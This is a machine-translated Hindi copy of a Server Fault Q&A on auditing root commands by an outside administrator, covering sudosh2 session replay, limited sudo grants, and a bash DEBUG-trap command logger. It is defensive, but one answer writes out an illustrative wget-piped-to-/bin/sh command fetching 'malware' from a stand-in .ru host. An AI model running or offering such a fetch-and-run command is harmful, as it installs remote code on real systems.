रूट से निष्पादित हर कमांड को लॉग इन करें


16

मैं अपने रूट सर्वर को एक बाहरी सिस्टम व्यवस्थापक तक पहुंच देना चाहता हूं, लेकिन मैं यह सुनिश्चित करना चाहता हूं कि वह मेरे सर्वर के लिए क्या कर रहा है, उदाहरण के लिए डेटा की नकल करना मैं उन्हें और इतने पर नहीं करना चाहता। मैं यह भी चाहूंगा कि जो भी फाइल एक्सेस की जाए, वह केवल पढ़ने में हो और संपादित न हो।

मैं उसे कैसे कर सकता हूँ?


1
यह संबंधित प्रश्न देखें: serverfault.com/questions/181131/… ?
स्टेफन लासवर्स्की

जवाबों:


21

विश्वास करो किन्तु सत्यापित करो!

सुषोष 2 की जाँच करें । sudosh2 FreeBSD पोर्ट द्वारा प्रदान किया गया है। RedHat और Ubuntu के लिए पैकेज उपलब्ध हैं। यहाँ उनकी वेबसाइट से विवरण है:

sudosh एक ऑडिटिंग शेल फ़िल्टर है और इसे लॉगिन शेल के रूप में उपयोग किया जा सकता है। Sudosh सभी कीस्ट्रोक्स और आउटपुट रिकॉर्ड करता है और एक वीसीआर की तरह सत्र को वापस खेल सकता है।

सुडो आपको उपयोगकर्ता के सत्र को फिर से चलाने की अनुमति देगा, जो उपयोगकर्ता द्वारा देखे जाने पर आपको सभी इनपुट और आउटपुट देखने की अनुमति देगा । आप सब कुछ देखते हैं, कीस्ट्रोक्स, टाइपो, बैकस्पेस, उन्होंने किस चीज को संपादित किया vi, का आउटपुट wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shआदि।

Syslog में sudosh लॉग भेजना संभव है, ताकि उन्हें सिस्टम से दूर केंद्रीय syslog सर्वर पर संग्रहीत किया जा सके।

ध्यान दें कि sudosh2 sudosh के लिए एक प्रतिस्थापन है, जिसे इसके लेखक ने छोड़ दिया था

क्या आप एक शैक्षणिक संस्थान में काम करते हैं जहाँ उपयोगकर्ता सुपरसुबर्ड निजीकरण करने पर जोर देते हैं? या क्या आप एक निगम में काम करते हैं और उपयोगकर्ताओं को अपने वीएम पर सुपरसुसर विशेषाधिकार देना चाहते हैं? यह आपके लिए समाधान हो सकता है।


1
बहुत बढ़िया - मैंने पहले सूडोश के बारे में नहीं सुना था।
ईईएए

2
आप किस 'वीसीआर' की बात करते हैं?
टॉम मार्थेनल

2
यह 8-ट्रैक की तरह है, लेकिन आपको अपने टेलीविज़न शो रिकॉर्ड करने हैं!
स्टीफन लासिवस्की

22

उसे रूट एक्सेस न दें। इसके बजाय, उसे एक विशेषाधिकार प्राप्त उपयोगकर्ता खाता दें और अनुरोध करें कि वह अपने सभी काम करता है sudo, जो उसके सभी आदेशों को लॉग करेगा।

ध्यान रखें कि अगर इस व्यक्ति के बीमार इरादे हैं और आप उसे पूर्ण सूडो विशेषाधिकार देते हैं, तो होगा एक तरह से बिना उन आदेशों लॉग किया जा रहा उन बीमार इरादों को अंजाम देने लगता है। इस मामले में, केवल उसे विशिष्ट आदेशों तक पहुंच प्रदान करें जो उसे अपना काम करने की आवश्यकता है।


मैं अपने जीवन को कष्ट रहित बनाकर इसे यथासंभव कठिन बनाना चाहता हूं। जवाब के लिए धन्यवाद।
cedivad

आप बस चला सकते हैं sudo su -और एक रूट शेल है जिसे लॉग नहीं किया जाएगा (सिवाय इसके कि आपने इसे शुरू किया है)। जब मैं एक बार में रूट के रूप में एक से अधिक कमांड करना चाहता हूं, या यदि मैं निर्देशिकाओं में टैब पूरा करना चाहता हूं तो सामान्य उपयोगकर्ता नहीं पढ़ सकते हैं यह वह है जो मैं टाइप करता हूं।
rjmunro

@rjmunro - यही कारण है कि मैंने उसे केवल उस विशिष्ट एक्सेस को जारी करने का कैविएट जारी किया, जिसकी उसे ज़रूरत थी। आप चाहें तो स्पष्ट रूप से मना कर सकते हैं sudo su -
ईईएए

1

मैं sudosh2 से परिचित नहीं हूं, लेकिन मैंने अपने द्वारा लिखी गई .bashrcसभी कमांडों को लॉग इन करने के लिए निम्नलिखित में डाल दियाbash करने के लिए फ़ाइल शेल~/.command_log :

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

ऊपर एक जाल सेट करता है DEBUG, जिसे एक साधारण कमांड निष्पादित होने से ठीक पहले निष्पादित किया जाता है। callerनिर्मित परीक्षण है कि क्या आदेश एक इंटरैक्टिव खोल में टाइप किया जा रहा है या की तरह कुछ के माध्यम से चलाने के लिए प्रयोग किया जाता है .bashrc। मान ${BASH_COMMAND}में वर्तमान में निष्पादित की जाने वाली कमांड है।

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.